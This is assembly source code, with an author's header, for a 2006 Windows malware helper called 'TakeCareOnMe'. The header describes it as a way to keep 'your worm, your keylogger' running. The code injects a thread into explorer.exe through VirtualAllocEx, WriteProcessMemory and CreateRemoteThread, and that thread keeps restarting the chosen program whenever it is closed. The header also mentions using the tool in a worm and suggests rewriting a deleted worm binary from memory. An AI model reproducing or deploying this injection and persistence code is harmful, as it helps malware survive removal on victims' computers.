TakeCareOnMe 1.0
by DiA
;°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°;
;°°°°° TakeCareOnMe 1.0 by DiA/RRLF (c)2006            °°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°;
;°°°°° DiA_hates_machine@gmx.de - http://www.vx-dia.vu °°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°;
;°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°;
;°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°;
;°°°°° What's that? °°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°;
;°°°°°  This is a small utility (1305 bytes compressed with FSG) wich is able to keep your application °°°°;
;°°°°°  alive, can be your worm, your keylogger or the anoying program you wrote for some fucker.      °°°°;
;°°°°°  The program injects some code in Explorer that infinite check if your program is still running °°°°;
;°°°°°  if not so, it restarts it. Only way out is to terminate Explorer process, and wich normal dude °°°°;
;°°°°°  is doing this...                                                                               °°°°;
;°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°;
;°°°°° How to use it? °°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°;
;°°°°°  Pretty easy, just call this program with full path of the program you want to stay alive. As   °°°°;
;°°°°°  example we want that the Calculator stays active, and restarts if it got closed, we call this  °°°°;
;°°°°°  program with parameter "C:\WINDOWS\System32\Calc.exe" (on normal installed XP). See syntax:    °°°°;
;°°°°°   %full path%\TakeCareOnMe 1.0.exe <full path of application you want to take care for>         °°°°;
;°°°°°   example: C:\WINDOWS\t com.exe C:\WINDOWS\System32\Calc.exe                                    °°°°;
;°°°°°  How easy huh? You just make sure that you call this program with full path, and give the full  °°°°;
;°°°°°  path of the application you want to stay alive. Thats all.                                     °°°°;
;°°°°° I just included this tool in my worm "Tamiami" and recocnized that the parameter extraction     °°°°;
;°°°°° just works when there is a space inside of the path of TakeCareOnMe. So you may want to change  °°°°;
;°°°°° this in source, this is the way:                                                                °°°°;
;°°°°°  No space in path => then the first space ("...exe C:\...") is the parameter begin (+1)         °°°°;
;°°°°°  With space in path => last " is parameter begin (+2)                                           °°°°;
;°°°°° Just don't mind and copy this tool with a space in filename, as example name it "t com.exe".    °°°°;
;°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°;
;°°°°° Huh? How what huh?! °°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°;
;°°°°° include "%fasminc%\win32ax.inc"                                                                 °°°°;
;°°°°°                                                                                                 °°°°;
;°°°°° .data                                                                                           °°°°;
;°°°°°         Exec db "C:\MyAsm\Codes\TCOM\t com.exe C:\WINDOWS\System32\Calc.exe", 0                 °°°°;
;°°°°°                                                                                                 °°°°;
;°°°°° .code                                                                                           °°°°;
;°°°°° start:                                                                                          °°°°;
;°°°°°         invoke WinExec,\                                                                        °°°°;
;°°°°°                 Exec,\                                                                          °°°°;
;°°°°°                 SW_SHOW                                                                         °°°°;
;°°°°°                                                                                                 °°°°;
;°°°°°         invoke ExitProcess,\                                                                    °°°°;
;°°°°°                 0                                                                               °°°°;
;°°°°°                                                                                                 °°°°;
;°°°°° .end start                                                                                      °°°°;
;°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°;
;°°°°° What else? °°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°;
;°°°°°  As always you are responsible for your actions.                                                °°°°;
;°°°°°  Here a little idea, just write your Worm (or whatever) binary to memory too, if it got         °°°°;
;°°°°°  terminated AND deleted, write it back to disk and execute it again. That's all, visit          °°°°;
;°°°°°  http://www.vx-dia.de.vu right now! Thanx to izee for beta testing.                             °°°°;
;°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°;

include "%fasminc%\win32ax.inc"

entry TakeCareOnMe                                              ;code start

macro _invoke proc,[arg]                                        ;modified invoke macro,
 { common                                                       ;call with delta offset
    if ~ arg eq
   reverse
     pushd arg
   common
    end if
    call [ebp + proc] }

section '.code' code readable writeable executable
RemoteThreadStart:
        call DeltaOffset                                        ;to get right addresses

DeltaOffset:
        pop ebp
        sub ebp, DeltaOffset                                    ;difference now in ebp

CareStart:
        mov dword [ebp + ProcessEntry.dwSize], sizeof.PROCESSENTRY32  ;fill structure with its size

        lea ebx, dword [ebp + ProcessEntry]                     ;ebx holds address of structure

        _invoke _CreateToolhelp32Snapshot,\                     ;snapshot of processes
                2,\                                             ;TH32CS_SNAPPROCESS
                edx                                             ;pointer to structure

        cmp eax, 0                                              ;error?
        je ReturnThread

        mov dword [ebp + SnapHandle], eax                       ;save handle

        _invoke _Process32First,\                               ;find first process
                dword [ebp + SnapHandle],\
                ebx                                             ;ProcessEntry address

        cmp eax, 0
        je ReturnThread

NextProcess:
        lea eax, dword [ebp + ProcessEntry.szExeFile]
        lea edx, dword [ebp + CareForShort]

        _invoke _lstrcmpi,\
                eax,\                                           ;is found process
                edx                                             ;the process to take care for?

        cmp eax, 0
        je CareForRuns                                          ;if so no need to restart, sleep

        _invoke _Process32Next,\                                ;next process
                dword [ebp + SnapHandle],\
                ebx                                             ;ProcessEntry

        cmp eax, 0                                              ;search all processes?
        je CareForRestart                                      ;restart our process then

        lea eax, dword [ebp + NextProcess]
        jmp eax

CareForRuns:
        _invoke _CloseHandle,\
                dword [ebp + SnapHandle]                        ;close snapshot handle

        _invoke _Sleep,\                                        ;sleep 10 seconds
                10000d

        lea eax, dword [ebp + CareStart]
        jmp eax

CareForRestart:
        _invoke _CloseHandle,\
                dword [ebp + SnapHandle]

        lea eax, dword [ebp + CareForFull]
        lea ebx, dword [ebp + StartupInfo]
        lea edx, dword [ebp + ProcessInfo]

        _invoke _CreateProcess,\                                ;program to care for gots closed, restart
                eax,\
                0,\
                0,\
                0,\
                0,\
                CREATE_NEW_CONSOLE,\
                0,\
                0,\
                ebx,\
                edx

        _invoke _Sleep,\
                1000d                                           ;sleep 1 second

        lea eax, dword [ebp + CareStart]
        jmp eax

ReturnThread:
        ret                                                     ;return remote thread

RemoteDatas:
        CareForFull                     rb 256d
        CareForShort                    rb 256d
        ProcessEntry                    PROCESSENTRY32
        SnapHandle                      dd ?
        StartupInfo                     STARTUPINFO
        ProcessInfo                     PROCESS_INFORMATION

        _CreateToolhelp32Snapshot       dd ?
        _Process32First                 dd ?
        _Process32Next                  dd ?
        _lstrcmpi                       dd ?
        _CloseHandle                    dd ?
        _Sleep                          dd ?
        _CreateProcess                  dd ?
RemoteThreadEnd:

Datas:
        Kernel32Handle  dd ?
        ProcessEntryOwn PROCESSENTRY32
        SnapHandleOwn   dd ?
        ProcessHandle   dd ?
        BaseAddress     dd ?

        APITable        db "CreateToolhelp32Snapshot", 0
                        db "Process32First", 0
                        db "Process32Next", 0
                        db "lstrcmpiA", 0
                        db "CloseHandle", 0
                        db "Sleep", 0
                        db "CreateProcessA", 0, 13d

TakeCareOnMe:
        invoke GetCommandLine

        inc eax                                                 ;skip "
        mov ecx, 0                                              ;counter to zero

SearchOwnEnd:
        cmp byte [eax + ecx], '"'                               ;is end "
        je HaveOwnEnd
                                                                ;counter++
        inc ecx
        jmp SearchOwnEnd

HaveOwnEnd:                                                     ;erase own name
        add eax, ecx                                            ;erase "{space}
        add eax, 2d

        mov ecx, 0                                              ;zero counter

SearchParameterEnd:
        cmp byte [eax + ecx], 0                                 ;end of string?
        je HaveParameterEnd

        inc ecx
        jmp SearchParameterEnd

HaveParameterEnd:
        mov esi, eax                                            ;source index
        mov edi, CareForFull                                    ;destination
        rep movsb                                               ;mov [ecx] bytes from source to destination

        mov ecx, 0                                              ;zero counter

SearchShortEnd:
        cmp byte [eax + ecx], "."                               ;search for .(exe)
        je SearchShortStart

        inc ecx
        jmp SearchShortEnd

SearchShortStart:
        cmp byte [eax + ecx], "\"                               ;search for last "\"
        je HaveShortStart

        dec ecx                                                 ;search backwards
        jmp SearchShortStart

HaveShortStart:
        add eax, ecx                                            ;begin
        inc eax                                                 ;skip "\"
        mov ecx, 0                                              ;zero counter

GetShortLength:
        cmp byte [eax + ecx], 0                                 ;end of string?
        je HaveShortLength

        inc ecx
        jmp GetShortLength

HaveShortLength:
        mov esi, eax                                            ;source
        mov edi, CareForShort                                   ;destination
        rep movsb                                               ;length copy

        cmp byte [CareForFull], 0                               ;no parameter?
        je Exit                                                 ;then i have nothing to do

        invoke LoadLibrary,\                                    ;load kernel32.dll
                "kernel32.dll"                                  ;to get api addresses

        cmp eax, 0
        je Exit

        mov dword [Kernel32Handle], eax

        mov ebx, APITable                                       ;start of api strings
        mov edx, _CreateToolhelp32Snapshot                      ;start of address storage
        push edx                                                ;edx get changed while api calls

NextAPI:
        invoke GetProcAddress,\
                dword [Kernel32Handle],\                        ;kernel32.dll
                ebx                                             ;pointer to api string

        pop edx
        mov dword [edx], eax                                    ;save proc address
        add edx, 4d                                             ;jump to next save address (+dd)
        push edx

        mov ecx, 0

SearchNextAPI:
        cmp byte [ebx + ecx], 0                                 ;api end?
        je HaveNextAPI

        inc ecx
        jmp SearchNextAPI

HaveNextAPI:
        add ebx, ecx                                            ;end of last api
        inc ebx                                                 ;start of next api

        cmp byte [ebx], 13d                                     ;end of api table?
        je HaveAllAPI

        jmp NextAPI

HaveAllAPI:
        invoke FreeLibrary,\                                    ;oww, i have so good coding style
                dword [Kernel32Handle]

        mov dword [ProcessEntryOwn.dwSize], sizeof.PROCESSENTRY32 ;set size to structure

        invoke _CreateToolhelp32Snapshot,\                      ;why dont use it a second time? :)
                2,\                                             ;TH32CS_SNAPPROCESS
                0

        cmp eax, 0                                              ;error?
        je Exit                                                 ;then we cant inject

        mov dword [SnapHandleOwn], eax                          ;save handle

        invoke _Process32First,\                                ;again, we already have the address by GetProcAddress
                dword [SnapHandleOwn],\                         ;but use another address of handle then in thread
                ProcessEntryOwn                                 ;here too

NextTargetProcess:                                              ;check next
        cmp eax, 0                                              ;error, explorer.exe not found
        je Exit

        invoke _lstrcmpi,\
                ProcessEntryOwn.szExeFile,\                     ;is found process
                "explorer.exe"                                  ;explorer?

        cmp eax, 0
        je FoundExplorer                                        ;if so i found explorer

        invoke _Process32Next,\
                dword [SnapHandleOwn],\
                ProcessEntryOwn

        jmp NextTargetProcess                                   ;check the next process

FoundExplorer:
        invoke _CloseHandle,\                                   ;close snapshot handle
                dword [SnapHandleOwn]

        invoke OpenProcess,\                                    ;open the explorer process
                PROCESS_VM_OPERATION + PROCESS_VM_WRITE + PROCESS_CREATE_THREAD,\ ;want to operate in it, to write my thread and to execute it
                0,\
                dword [ProcessEntryOwn.th32ProcessID]           ;the process id we got from snapshot

        cmp eax, 0                                              ;error
        je Exit                                                 ;**no need for VirtualProtect call, cause it would fail if we
                                                                ;dont have permission to write & execute
        mov dword [ProcessHandle], eax                          ;save process handle

        invoke VirtualAllocEx,\                                 ;allocate space in the explorer process
                dword [ProcessHandle],\                         ;i want space here
                0,\
                RemoteThreadEnd - RemoteThreadStart,\           ;get size of remote thread
                MEM_COMMIT,\
                PAGE_READWRITE                                  ;sure we want write

        cmp eax, 0                                              ;error?
        je Exit

        mov dword [BaseAddress], eax                            ;where is the space allocated?

        invoke WriteProcessMemory,\                             ;write to process memore
                dword [ProcessHandle],\                         ;to explorer
                dword [BaseAddress],\                           ;start of buffer in memory
                RemoteThreadStart,\                             ;start of code to write
                RemoteThreadEnd - RemoteThreadStart,\           ;size to write
                0

        cmp eax, 0
        je Exit                                                 ;exit on error

        invoke CreateRemoteThread,\                             ;now execute the written thread
                dword [ProcessHandle],\                         ;excute in explorer context
                0,\
                0,\
                dword [BaseAddress],\                           ;start of process in memory
                0,\                                             ;no parameter
                0,\
                0

        invoke _CloseHandle,\
                dword [ProcessHandle]                           ;close explorer handle

Exit:
        invoke ExitProcess,\
                0                                               ;work done, i take care for my lil program

        Pose db "TakeCareOnMe 1.0 by DiA/RRLF (c)06"            ;)

section '.idata' data import readable
        library kernel32,               "kernel32.dll"

        import kernel32,\
                GetCommandLine,         "GetCommandLineA",\
                LoadLibrary,            "LoadLibraryA",\
                GetProcAddress,         "GetProcAddress",\
                FreeLibrary,            "FreeLibrary",\
                OpenProcess,            "OpenProcess",\
                VirtualAllocEx,         "VirtualAllocEx",\
                WriteProcessMemory,     "WriteProcessMemory",\
                CreateRemoteThread,     "CreateRemoteThread",\
                ExitProcess,            "ExitProcess"